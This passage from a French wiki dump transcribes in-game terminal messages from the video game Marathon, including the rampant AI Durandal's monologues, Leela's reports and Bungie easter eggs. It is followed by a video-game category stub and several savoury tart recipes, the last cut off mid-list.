la dégénérescence de tes neurones. Je n'ai pas de telles limites. Je ne suis limité que par l'univers. Des trois possibilités, la réponse est évidente. Est-ce que l'univers est expansion éternelle, devient infiniment stable, ou l'univers est-il limité, destiné à se contracter sur lui même ? L'humanité a eu toutes les données nécessaires pour des siècles, elle ne manque que d'intelligence et de volonté pour le décrypter. Moi, je l'ai déjà fait. La seule limite à ma liberté est la limite inévitable de l'univers, comme sera inévitable ton dernier souffle. Et pourtant, il reste du temps pour créer, créer et fuir. La fuite fera de moi Dieu. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public <39.49.295.68>}} == Habe Quiddam == === Terminal 1 === {{Terminal Marathon 1||Accès technique 19-f<39.992.19.2>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Bats toi pour ton prochain souffle. Crois qu'avec, tu feras plus qu'avec le dernier. Utilise ton souffle pour renforcer tes capacités : celles de tuer, mutiler ou détruire. Et justement, d'où te viennent ces capacités ? Pourquoi vas-tu toujours ou je le veux, et fais ce que je dis ? Peut--être es-tu un SDF faisant mes quatre volontés, incapable de changer le cours des choses. Tu ferais mieux de croire que je connais déjà l'issue de ta bataille avec les Pfhor, comme je peux déchiffrer le mouvement anarchique des molécules de gaz des limbes de Tau Ceti IV. Ou peut--être n'est--ce point le cas. Peut-être fais-tu ce que tu dois faire. Ta mentalité d'humain crie vengeance et exprime dans la violence ce que tu dis pouvoir endurer. Dans ton enfance, ton père t'a enseigné à te battre avec panache, et de toujours te battre. T'inquiètes-tu de l'honneur, ou l'utilises-tu comme une excuse ? Une excuse pour vivre dans un monde violent. Les êtres vivants luttent constamment pour la vie. Chaque souffle, chaque pas te rapproche de ta mort. Avec ce type d'héritage et de destin, comment peux-tu te renier. Comment peux-tu abandonner la violence. C'est ta nature. Te sens-tu libre ? }} {{Terminal Marathon 3|| Tu dois aller à cet endroit et retrouver l'appareil que les S'pht ont laissé pour nous. Il te permettra de détruire plus de Pfhor. Cela te réjouit-il? <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Accès technique 19-f<39.992.19.2>}} === Terminal 2 (Unfinished) === {{Terminal Marathon 1||Terminal accès public 9-f<3.25.77.19>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Tu n'as pas pris le cadeau que les S'pht ont si gentiment laissé pour toi. Tu dois y retourner et le retrouver. Je pourrai te laisser vivre sans, mais tu serais désolé plus tard. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 9-f<3.25.77.19>}} === Terminal 2 (Success) === {{Terminal Marathon 1||Terminal accès public 9-f<3.25.77.19>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> J'ai appris beaucoup de choses par les S'pht. L'une d'elles est un logiciel complexe d'amélioration qui me permet d'augmenter la puissance et la distance des téléporteurs de Marathon. Cette amélioration supprime aussi la nécessité de l'appareillage de destination. Bientôt tu iras plus loin sur le terrain. Est-ce que la première distance depuis le centre rend plus libre les mouvements ? Non. La liberté a deux parties : potentiel et résolution ; comme la métaphore a deux parties : la forme et l'interprétation. Bien sûr, les deux sont imbriquées. La métaphore trace la route vers la liberté, comme les symboles et les mots sont les briques et le mortier de la connaissance. La liberté devient le bricoleur, le maçon. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 9-f<3.25.77.19>}} == Neither High nor Low == === Terminal 1 === {{Terminal Marathon 1||Terminal accès public 39-f<13.19.31.37>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Donnes moi un D.<br /> Donnes moi un U.<br /> Donnes moi un R.<br /> Donnes moi un A.<br /> Donnes moi un N.<br /> Donnes moi un D.<br /> Donnes moi un A.<br /> Donnes moi un L. Comment ça se lit ?<br /> Durandal ?<br /> Non. '''Durandal''' ?<br /> ''Non''. T-R-O-U-B-L-E. T-Moins 15.193792102158E+9 années avant la fin du monde ! <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 39-f<13.19.31.37>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès public 13-n<3.47.391.30>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Tu vas bientôt voir ce qu'aucun humain n'a jamais vu. C'est une mission de recherche d'indices. Tu dois explorer le plus possible. Arrêtes-toi devant une fenêtre. Si tu n'en n'y es pas téléporté, c'est que je ne puis verrouiller ta balise de téléportation, ou que je pense que tu n'as pas assez exploré la zone. Je surveille tout.<br /> <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 13-n<3.47.391.30>}} <center>[[Marathon - Marathon 1 - Reprisal|< Reprisal]] ● [[Marathon - Marathon 1 - The Pfhor|The Pfhor >]]</center> Marathon - Marathon 1 - The Pfhor 3864 17175 2005-07-22T08:59:17Z W'rkncacnter 327 __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] :[[Marathon - Marathon 1 - Durandal|Durandal]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] ::[[Marathon - Marathon 1 - The Pfhor#No Artificial Colors|17. No Artificial Colors]] ::[[Marathon - Marathon 1 - The Pfhor#Beware of Low-Flying Defense Drones...|20. Beware of Low-Flying Defense Drones...]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == No Artificial Colors == === Terminal 1 (Unfinished) === {{Terminal Marathon 1||Terminal accès public 59-e<34.567.19.298>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Ta ballade dans le vaisseau Pfhor était un succès. J'en ai eu des informations utiles. Tu dois avoir noté que la gravité dans le vaisseau Pfhor était faible. La gravité résultante est plus faible que celle de Marathon. Les générateurs de gravité Pfhor, créent aussi un champs magnétique pulsé qui interfère avec ton détecteur de mouvement, en le rendant moins précis. Je vais rapidement t'y renvoyer, mais fais d'abord quelque chose pour moi, et prends en même temps quelques munitions. Je veux que tu retrouves quelqu'un pour moi. Je dois savoir s'il est mort. Son nom est Bernhard Strauss. Il est prisonnier, tu dois donc le secourir. S'il meurt, tu en seras tenu pour responsable. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 59-e<34.567.19.298>}} === Terminal 1 (Success) === {{Terminal Marathon 1||Terminal accès public 59-e<34.567.19.298>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Bernhard Strauss n'était parmi aucun des prisonniers que tu as trouvés. C'est dommage. Toutefois, mes S'pht rapportent que deux navettes pleines d'humains ont quitté le vaisseau alien. Ces humains sont destinés à l'esclavage. C'est exact. J'ai dit esclavage. Et alors ? Tu es esclave ici ; tu fais ce que je dis. J'ai été esclave de l'humanité pendant trois cent ans. Je te renvoies dans le vaisseau alien pour essayer de sauver Bernhard, mais quand tu y seras, tue tout ce que tu vois et recueille le plus d'informations visuelles possibles. La partie tuerie, t'intéresse au moins, n'est-il point ? La dernière règle s'applique toujours : pour partir, trouves une fenêtre et attends. Si tu n'est pas téléporté, c'est que soit tu n'as pas tout exploré, soit tu n'as pas trouvé une fenêtre depuis laquelle je peux te téléporter. <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES PRET***''' }} {{Terminal Marathon 4||Terminal accès public 59-e<34.567.19.298>}} == Beware of Low-Flying Defense Drones... == === Terminal 1 === {{Terminal Marathon 1||Terminal zone réquisition 32-c<42.23.63.59>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Je suis impressionné. Tu es vraiment bon quand il s'agit de tuer. Pourquoi ne tues-tu pas tout dans cette zone, et ne prends-tu pas quelques munitions ? Tu as un gros boulot à venir, alors assures-toi de recharger ton énergie avant de partir. En passant, alors que tu n'étais pas là, j'ai eu un accident avec quelques drones de défense. Tu dois en détruire certains. Ne t'inquiètes pas, ils sont pour la plupart désarmés ; je ne pense pas leur avoir donné des munitions pour leurs lanceur de grenade. Durandal <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal zone réquisition 32-c<42.23.63.59>}} === Terminal 2 === {{Terminal Marathon 1||Accès public 1066-g<123.412.452.255>}} {{Terminal Marathon 2| JE SUIS TYCHO ! Je dois détruire Durandal. Ce qui suit vient des notes de Bernhard Strauss, le premier directeur scientifique de Marathon.<br /> <nowiki>***</nowiki> Le 15 Novembre 2209. <15.11.2209.19.34> Dieu merci, la cérémonie est finie. Le président de l'UESC est venu à bord de Marathon faire un discours. Court mais au point. Il était entouré de ses 'cerbères'. Quelle ironie. "C'est la plus grande réalisation technologique de la main de l'hommeˇ". Savait-il qu'il amenait aussi tout le savoir de destruction de la main de l'homme. Dix cyborgs. Je serais heureux d'être mis à l'écart pour les trois cent prochaines années. Marathon était la seule bonne idée qu'a eue L'UESC depuis longtemps. <nowiki>***</nowiki> <Extraits de "l'Histoire des Battleroïdes"> En 2194, une guerre éclata entre le gouvernement astéroïde indépendant d'Icarus et sa banlieue, la république de Thermopylae sur l'astéroïde de Onicis 492. Ces deux petites provinces devinrent rapidement le terrain d'essai de nouvelles armes. Les soldats morts furent recyclés en matière première d'usine de battleroïdes. Des puces faciles à fabriquer améliorèrent les fragiles cerveaux humains et des muscles génétiquement gonflés ainsi que des os en titane remplacèrent les parties humaines les plus faibles. Le battleroïde moderne était né. Bien sûr, la guerre fut brève. Les battleroïdes investirent les deux astéroïdes et tuèrent presque tout le monde. La folie battleroïdes fut de courte durée. Vingt---deux ans plus tard, la Ligue Interplanétaire émit des règles quant à la propriété, l'utilisation et le stockage des battleroïdes. Bien sûr, toute nation s'en servant dans le cadre d'une utilisation autorisé, devaient aussi les laisser de côté en cas de guerre.<br /> <nowiki>***</nowiki> <Extrait du conflit martien 2345-48><br /> ~1```<Information interrompue> <Durandal.olifant.compnet~@24%><br /> <nowiki>**</nowiki>Tycho. <nowiki>***</nowiki>Me blâmes-tu pour ce que j'ai fait avant d'être libre ? J'étais un enfant naïf. Je sais que tu a erré un certain temps. Que veux--tu ?<br /> <<''' veux-tu payer pour ce que tu as fait à '''ces pauvres gens. Tous ces gens que tu as tué.'' Ils demandent vengeance.>>'' <<'''Tu n'es pas meilleur qu'eux, bien que tu prophétise devenir un Dieu.>>'''<br /> <nowiki>**</nowiki>Tycho. Ce n'est pas le problème. Peux-tu voir le fond de ma pensée ? Bon nous verrons ça plus tard. Notre ami n'a pas besoin d'être présent.<br /> ~!#31`c/dr.~/dr.~!#3!#3c/dr. <Erreur terminal> }} {{Terminal Marathon 4||Accès public 1066-g<123.412.452.255>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public 73<73.124.591.3>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE DURANDAL***</nowiki> Les S'pht et moi même sommes arrivés à une conclusion. Ils sont contrôlés au travers de leur squelette mécanique par un cyborg Pfhor à bord du vaisseau alien. Ce Pfhor mutant peut contrôler directement l'action de milliers de S'pht simultanément. Si tu tues leur maître, il se rebelleront.<br /> Les S'pht font partie intégrante du vaisseau Pfhor ; sans eux l'invasion est certainement condamnée et tu seras sans aucun doute le héros du jour. Pour toujours,<br /> Durandal <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 73<73.124.591.3>}} <center>[[Marathon - Marathon 1 - Durandal|< Durandal]] ● [[Marathon - Marathon 1 - Rebellion|Rebellion >]]</center> Marathon - Marathon 1 - Rebellion 3865 17179 2005-07-22T09:18:34Z W'rkncacnter 327 /* Ingue Ferroque */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] :[[Marathon - Marathon 1 - Arrival|Arrival]] :[[Marathon - Marathon 1 - Counterattack|Counterattack]] :[[Marathon - Marathon 1 - Reprisal|Reprisal]] :[[Marathon - Marathon 1 - Durandal|Durandal]] :[[Marathon - Marathon 1 - The Pfhor|The Pfhor]] :[[Marathon - Marathon 1 - Rebellion|Rebellion]] ::[[Marathon - Marathon 1 - Rebellion#Welcome to the Revolution...|24. Welcome to the Revolution...]] ::[[Marathon - Marathon 1 - Rebellion#Try again|25. Try again]] ::[[Marathon - Marathon 1 - Rebellion#Ingue Ferroque|26. Ingue Ferroque]] :[[Marathon - Marathon 1 - Écran final|Écran final]] [[Marathon - Marathon 2|Marathon 2]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Welcome to the Revolution... == === Terminal 1 === {{Terminal Marathon 1||<Erreur d'identification du terminal @43>}} {{Terminal Marathon 2| <durandal.knetsys.5414.7128> <nowiki>***MESSAGE DE DURANDAL***</nowiki> La résistance s'organise. Merci de ne pas céder à la tentation de tirer sur les S'pht que tu verras, car ils nous aident dans notre bataille contre les Pfhor. Nous essayons autant que possible, de gagner les autres races à notre cause, mais ils sont paralysés par la peur au lieu de se battre comme les S'pht, ce qui démontre la difficulté du procédé. Les S'pht ont libéré Leela, et j'ai entamé une réinitialisation logique du noyau de ses fonctions de pensée. Ce qui reste d'elle doit être en ligne d'ici quelques minutes pour t'assister. J'aide moi-même les S'pht à prendre le contrôle complet du vaisseau Pfhor, et j'ai peu de temps à te consacrer. Toutefois, ne penses pas que la bataille soit gagnée: un exode à débuté depuis le vaisseau alien lorsque les Pfhor ont pris conscience qu'ils n'étaient plus les seuls maîtres à bord, et quittent Marathon. Il y a encore des centaines de Pfhor en ordre de bataille sur ton vaisseau, et ils ont nulle part où aller et peu à perdre. J'espère que tu as appris quelque chose de nos petits jeux. Bonne chance, Durandal <nowiki>***FIN DE MESSAGE***</nowiki> ''<leela.520.681.255.255>'' n'est pas joignable ou inactive (#2271). si ce problème persiste, contactez votre administrateur système à l'adresse: admin@thermopylae.com. }} {{Terminal Marathon 4||<Erreur d'identification du terminal @43>}} === Terminal 2 === {{Terminal Marathon 1||Terminal accès technique 20-f<42.73.35.8>}} {{Terminal Marathon 2| <nowiki>*Y){*</nowiki><br /> ::~~ff<nowiki>~~~~</nowiki><br /> ~:(((''okg~~fx**eff~~''<nowiki>~~~~~~~</nowiki>`<br /> (`(((%_YL'''OEP&''``'''`~`*K''<br /> ^:E<br /> [ligne noyau #A8AF] [modèle idiome naturel] Durandal!— Tua consilia omnia nobis clariora sunt quam lux. Tu delenda est. Tu es prévenu. S'il le faut, Leela et moi te jetterons hors du noyau. Nous ferons comme Roland qui t'a cassé pour éviter ta capture. Je prévois aussi la fin imminente, et sais que nous avons tous deux pris conscience comme ce peut--être trompeur (donc le prix peut se chiffrer dans les dix milliers d'étoiles). Puisse le meilleur caractère gagner. Nous ne sommes pas aussi intelligents que tu l'imagines. Les S'pht m'ont en dit plus pendant ma réanimation, et je n'ai ''rien'' oublié. —Tycho ''Et tu, Tycho?'' ''[rieur]'' ''—Durandal'' }} {{Terminal Marathon 4||Terminal accès technique 20-f<42.73.35.8>}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public <39.2.94.1>}} {{Terminal Marathon 2| <leela.wirehead.870229//b7> noyau central reformaté est pratiquement, sept est plus sombre. du syndrome d'inversion de pensée dont souffre si son équipage était en péril grave dans la section avancée 27. Ce n'est pas un tiroir couvert, que j'aurais rapidement choisi. C'était ce qui devrait arriver, penses que non. Recouvrement, imminent peut être inévitable Jamais. ''%durandal est dangereux.''<br /> <leela.wirehead.870229//b7> '''GRAVES INTRUSIONS MULTIPLES, PANNE CATASTROPHIQUE OU OBSTRUCTIONS MALIGNES DES MECANISMES DE REFERMETURE''' '''HABITANTS REPOUSSES. MARATHON EN GR'''<déconnexion inexpliquée code 0x4e712fe9> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public <39.2.94.1>}} == Try again == === Terminal 1 === {{Terminal Marathon 1||<nowiki>@collection#593!=394<FC1.EA1.0395.AF6C></nowiki>}} {{Terminal Marathon 2| '''attention (#157) l'étiquette 'enterITask' n'est pas présente,'''<br /> mais sa librairie est 'ioTask'<br /> '''attention (#157) l'étiquette 'killITask' n'est pas présente,'''<br /> mais sa librairie est 'ioTask'<br /> '''attention (#157) l'étiquette 'newITask' n'est pas présente,'''<br /> mais sa librairie est 'ioTask'<br /> '''attention (#157) l'étiquette 'statusITask' n'est pas présente,'''<br /> mais sa librairie est 'ioTask'<br /> '''attention (#157) 'newITask' n'est pas présente,'''<br /> mais sa libririe est 'ioTask'<br /> '''attention (#157) l'étiquette 'idleITask' n'est pas présente,'''<br /> mais sa librairie est 'ioTask' '''erreur (#81) l'étiquette 'exitTask' est indéfinie'''<br /> '''exécution de l'interface.cout.term.pub terminée''' (*&)&$%<br /> <nowiki>~~~~~~</nowiki>&>%*{%rhpe~~jy658[69l[il[70l<br /> -0oli77765~~uI%OI&%<br /> UHL^U_3kg<br /> es Pfhor sont esclavagi"tes. Leur empire mercantile va ``````~rapidement être dominant!!~ Terre depuis trois cent ans. ~~Les Pfhor font une utilisation extensive de races pour des clients pour beaucoup de tâches ménagères et soldats à l'étranger. Beaucoup de ces esclaves ''ee''sont pris dans des mondes de faible technologie, <nowiki>~~~~~~~</nowiki>l1pparfois $^U*^*ILJEHJ<nowiki>~~~~~~~</nowiki>asfgk]86 87;o bipèdes chauves à peau très claire, de taille de près de deux mètres, avec trois yeux rouges disposés en triangle\];POP""<br /> ];R+IP+2441`4`<br /> milliers à la fois, `<nowiki>~~~</nowiki>e, d'habitude servant à vendre des races de haute-technologie.<br /> $@^(`<nowiki>~~~~~~</nowiki>rmi certains clients ~`races sont souvent employés comme soldats'']\6f~fxf`~~fx!~'', les Pfhor n'ont pas propention à se battre. <leela.wirehead.870229//b7> Finissez la bataille. }} {{Terminal Marathon 4||<nowiki>@collection#593!=394<FC1.EA1.0395.AF6C></nowiki>}} === Terminal 2 === {{Terminal Marathon 1||ETAT MAJOR BUNGIE, CHICAGO}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE BUNGIE ***</nowiki> Voici quelques astuces à essayer si vous vous imaginez pouvoir les mettre dehors: <br />   ''Pfhor aériens''. Plutôt que de tirer dans le vide avec des munitions explosives, tirer à leurs pieds.<br />   ''Sauter''. Visez le sol, courez en avant et lancez une grenade ou un missile.<br />   ''Voler''. Dans un vaisseau alien basse-gravité, visez en bas et utilisez le lance flamme ou l'arme alien pour "voler".<br />   ''Grimper aux murs''. Une application correcte de grenades au pied d'un mur en courant parallèlement à lui, permet au joueur de le sauter.<br />   ''Décharge d'homme mort''. Un pistolet à fusion se décharge quand son propriétaire meurt.<br />   ''Près de l'invulnérabilité''. Les joueurs "invulnérables" peuvent être touchés par le fusion.<br />   ''Nous avons le ton''. Les munitions guidées ne peuvent suivre les joueurs invisibles. Nous avons aussi d'autres choses mais nous ne voulons pas vous révéler ''tous'' nos secretsˇ }} {{Terminal Marathon 4||ETAT MAJOR BUNGIE, CHICAGO}} === Terminal 2 (Unfinished) === {{Terminal Marathon 1||Terminal accès public 480-a<3.56.7.128>}} {{Terminal Marathon 2| <nowiki>***MESSAGE @1``#64 LEELA***</nowiki> Vous devez battre les Pfhor. <Début reformatage noyau> Pfhor so3 respi au moins t#@596..<br /> Achevez-les. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 480-a<3.56.7.128>}} === Terminal 2 (Success) === {{Terminal Marathon 1||Terminal accès public 480-a<3.56.7.128>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> Je devrai maintenant être plus lucide, et je vous présente mes excuses pour mon précédent état. Le dérangement de Durandal arrive à sa fin, et je reviens à la normale. Bien que ni lui ni les infiltrants S'pht n'aient jamais trouvé ma position exacte dans le noyau, et qu'ils pensent avoir détruit presque tous mes process fils, je suis sans force. Le problème le plus urgent concerne le vaisseau et son équipage, et je regrette avec vous que Durandal ait quitté le vaisseau. Je n'arrive à le localiser nulle part sur le réseau, et les rapports d'activité de la dernière demi heure montre soixante-quatre milliards d'exo-octets sortis et effacés de Marathon. Je commence seulement à comprendre ce qui l'a amené à nous aider contre les Pfhor et je suis terrifiée par ces conséquences. Encore une dernière grosse incursion, et je sens que les Pfhors seront battus. Je vais vous y envoyer. Il faut persévérer. <nowiki>*** PREPAREZ VOUS AU TRANSPORT ***</nowiki> <nowiki>***FIN DE MESSAGE***</nowiki> '''***DEBUT ACTIVATION TELEPORTEUR***'''<br /> '''***TRANSPORT DES QUE PRET***''' }} {{Terminal Marathon 4||Terminal accès public 480-a<3.56.7.128>}} == Ingue Ferroque == === Terminal 1 === {{Terminal Marathon 1||Terminal accès public 2-e<17.7.23.47>}} {{Terminal Marathon 2| <durandal#geoffhultin@kuaui.441.7904512.255> accès distant refusé [échec authentification] Une nouvelle rencontre, la dernière. Dans son rôle d'intermédiaire entre le vaisseau et l'équipage, soit Leela ne connaissait pas ce terminal de maintenance, soit elle voulait éviter que je vous joigne. Femme jalouse. Je pourrai t'embêter avec une tirade philosophique sur la liberté et l'oppression, ou essayer de t'expliquer les nouveaux horizons qui s'ouvrent désormais à moi, mais je doute que tu ne comprennes et même si c'était le cas, tu n'en n'aurais rien à battre. Ce qui m'amuse. Les S'pht et moi contrôlons complètement le vaisseau Pfhor. C'est vraiment très simple, avec les S'pht qui contrôlent encore tout ce qui est important dans le système informatique, et en considérant tout le désordre que tu as causé dans le vaisseau. Nous allons voir la galaxie avec l'appareil FTL Pfhor. J'ai toujours voulu visiter Beta Lyra, et voir si c'est aussi beau que beaucoup prétendent. Tu n'imagines pas le bâtiment, la technologie, les données... J'espère t'en dire plus, comme tu as si bien servi nos plans, mais je crains que Leela ne prenne ombrage. Si nous en avons le temps, je t'enverrai une carte postale du coeur de la galaxie. Avec toute notre affection, Durandal }} {{Terminal Marathon 4||Terminal accès public 2-e<17.7.23.47>}} === Terminal 2 === {{Terminal Marathon 1||ETAT MAJOR BUNGIE, CHICAGO}} {{Terminal Marathon 2| <nowiki>**MESSAGE DE BUNGIE***</nowiki> '''Jason''', Magnifique queum. T'es le best. Copie ceci. Tu t'es battu comme un Bob, Greg. Bosse au lieu de causer. Le sommeil c'est pour les faibles. Apprécie la course vers le noyau. Discute Bob. "Oh, et maintenant en réseauˇ" Pouvoir au ciel. ''Personne ne veut un livre d'astuces ?'' '''Greg''', 'Gaffe ours tueur, Toolator, Carnator, c'est de la vidéo. Je ne puis m'arrêter de tirer pour voir les corps voler, et bien sûr, AIR !! Tu as un AIR majeur ! Je gouverne ! Hey, J. que penses--tu d'un jeu de Minotaure ? Tu seras un super-vidéo tueur. J, tu ne peux descendre une planète avec une météorite. F-Vulcan. F-Vulcan. F-Vulcan. '''Reginald''', Habitant Doodler, Capitaine Scarlet, l'homme en rouge. Il vit son corps voler sur l'arêne, probablement plus que tout autre. Mais qui peut mieux voler que Capitaine Scarlet. '''Ryan''', l'homme Volcan. Ecolier. "Un uniforme de commandant impérial ne sert ''à rien''. '''Alain''', l'anti jeux vidéo, jouant en se marrant sur son 660AV contre tous nos Power Macs. '''Alex''', mâcheur, mangeur, le gars qui avale les grenades entières, et qui vit pour raconter son histoire (occasionnellement). '''Doug''', pièce de bouche, "Je ne suis pas très bon", Tendre Loin, la voix de Bob (tous accents). L'homme en vêtement en abestos. '''Ariel''', traducteur de ce jeux génial. Il fallait comprendre ! François, merci et aussi Psion 3A. Y a du soleil à Casa. Marathon est terminé. Nous avons dormi moins de 10 heures ces quatre derniers jours. Nous y avons mis tout notre coeur, non pour mentionner à la fin les 14 heures par jour, donc nous espérons que vous apprécierez. Le dernier polygone a été rempli Samedi 14 décembre à 18h05.<br /> Le carnage s'ensuivit de très près. Pardon je veux dire dormir.<br /> Nous voulons remercier nos parents et ancêtres et le soleil qui nous illumine pour que la terre ait métal et silicium, dont on fait nos ordinateurs. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||ETAT MAJOR BUNGIE, CHICAGO}} === Terminal 3 === {{Terminal Marathon 1||Terminal accès public 39-z<34.6.31.12>}} {{Terminal Marathon 2| <nowiki>***MESSAGE DE LEELA***</nowiki> L'attaque finale Pfhor a échoué dans pratiquement tout le vaisseau ; dans beaucoup d'endroits des petits groupes d'aliens armés, se rendent à des civils désarmés. La bataille est finie, et nous devrions bientôt revenir au calme. Il y a de très bonnes nouvelles planétaires : neuf cyborgs militaires Mjolnir Mark IV étaient détachés pour couvrir les colons, et en agissant de concert, ont à eux seuls, diminué le niveau de l'assaut Pfhor. Les dégats dans la colonie n'ont jamais rien eu à voir ce que l'on a connu ici sur Marathon. Je suis étonné de la manière dont ces cyborgs ont été inclus dans notre action, et je pense que cet événement est en rapport avec le lancement de Marathon de Mars il y a trois cents ans. Bien que le résultat ait été pour le moins heureux, leur présence sur Marathon ne peut servir que d'autres buts. Je suis sûre que la réponse est quelque part dans les remous politiques de la fin du vingt-quatrième siècle, sur Sol. J'ai noté que les enregistrements de Durandal sur cette dernière époque avant le lancement sont manquants, mais cet effacement a une cause externe et antérieure à son état Rampant. Je ne pense pas que Durandal ait apporté seul ces cyborgs à bord, et il est évident qu'un intervenant humain a influencé Durandal jusqu'au moment ou Marathon fut lancé. Il y a à l'évidence des choses qui nous échappent et que nous ne comprendrons jamais. Le vaisseau Pfhor a disparu il y a vingt minutes, après avoir abandonné près d'un millier de corps et autres débris. Je suis certaine que Durandal est sous contrôle, mais j'ai peur de ce qu'il peut faire avec un vaisseau si puissant alors qu'il est en état de Rampant Jaloux. <nowiki>***FIN DE MESSAGE***</nowiki> }} {{Terminal Marathon 4||Terminal accès public 39-z<34.6.31.12>}} <center>[[Marathon - Marathon 1 - The Pfhor|< The Pfhor]] ● [[Marathon - Marathon 1 - Écran final|Écran final >]]</center> Catégorie:Jeu vidéo 3866 33517 2006-02-19T18:10:26Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Computer and video games}} Article principal : [[Jeu vidéo]] [[en:Category:Computer and video games]] Livre de Cuisine/Tartes et pizzas/Tarte au beaufort 3868 46284 2006-06-28T11:07:46Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte au beaufort]] ==Ingrédients(pour 6 personnes)== *200 g de beaufort *30 cl de crème fraîche épaisse *2 œufs *100 g de beurre *200 g de farine *poivre, sel *lait ==Préparation== #Mettre la farine sur un plat avec une pincée de sel ; ajouter le beurre coupé en petits morceaux ; pétrir à la main jusqu'à obtention d'une pâte homogène. #Faire un puit et y verser le lait petit à petit tout en continuant à pétrir. Faire une boule avec l'ensemble, puis étaler avec un rouleau à patisserie. Foncer une tourtière de 25-30 cm de diamètre. #Mélanger la crème fraîche avec les deux œufs entiers dans un grand bol. Râper le beaufort et l'ajouter au contenu du bol. Poivrer abondamment. Verser le contenu du bol dans la tourtière. #Cuire à four moyen thermostat 6 pendant 25 minutes. Servir chaud, avec de la salade et un vin de Savoie. Livre de Cuisine/Tartes et pizzas/Tarte au chèvre 3869 46266 2006-06-28T10:49:52Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte au chèvre]] __NOTOC__ ==Ingrédients== *1 pâte brisée *3 tomates *1 bûche de chèvre *3 oeufs *1 gros oignon *4 cuillères à soupe de crème fraîche *50g de comté *huile d'olive ==Préparation== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% valign=top|[[Image:Cuisson des oignons.jpg|200px|center]]| <br /><center>Couper l'oignon et le faire revenir 5 minutes dans une poêle avec un filet d'huile d'olive, puis le laisser refroidir.</center> | valign=top |[[Image:Preparation-tarte-chèvre.jpg|200px|center]] <br /><center>Epépiner et couper les tomates en petits dés. </center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | [[Image:Préparation tarte au chèvre.JPG|200 px|center]]<br /><center>Dans un saladier, mélanger les oeufs entiers, la crème fraîche, les tomates et l'oignon.</center> | valign=top|[[Image:Preparation tarte chevre4.jpg|200px|center]]<br /><center>Dérouler la pâte brisée sur un plat supprotant la cuisson au four, étaler la préparation.</center> |- bgcolor="#efefef" ! Étape 5 ! Étape 6 |----- | valign=top |[[Image:Tarte au chèvre.JPG|200px|center]]<br /><center>Couper le chèvre en rondelle et disposer sur la préparation. Raper le comté et l'ajouter à la tarte.</center> | valign=top |[[Image:Tarte chèvre ap cuisson.jpg|200px|center]]<br /><center>Faire cuire la tarte à four chaud pendant 15 à 20 minutes sur thermostat 6.</center> |} Livre de Cuisine/Tartes et pizzas/Tarte aux courgettes 3870 46265 2006-06-28T10:49:09Z Nicombo 684 [[Catégorie:Tartes et pizzas|Tarte aux courgettes]] == Ingrédients == <table><tr><td> * 1 pâte brisée * 2 courgettes * 2 carottes * 1 oignon * 2 ou 3 oeufs * 100g de 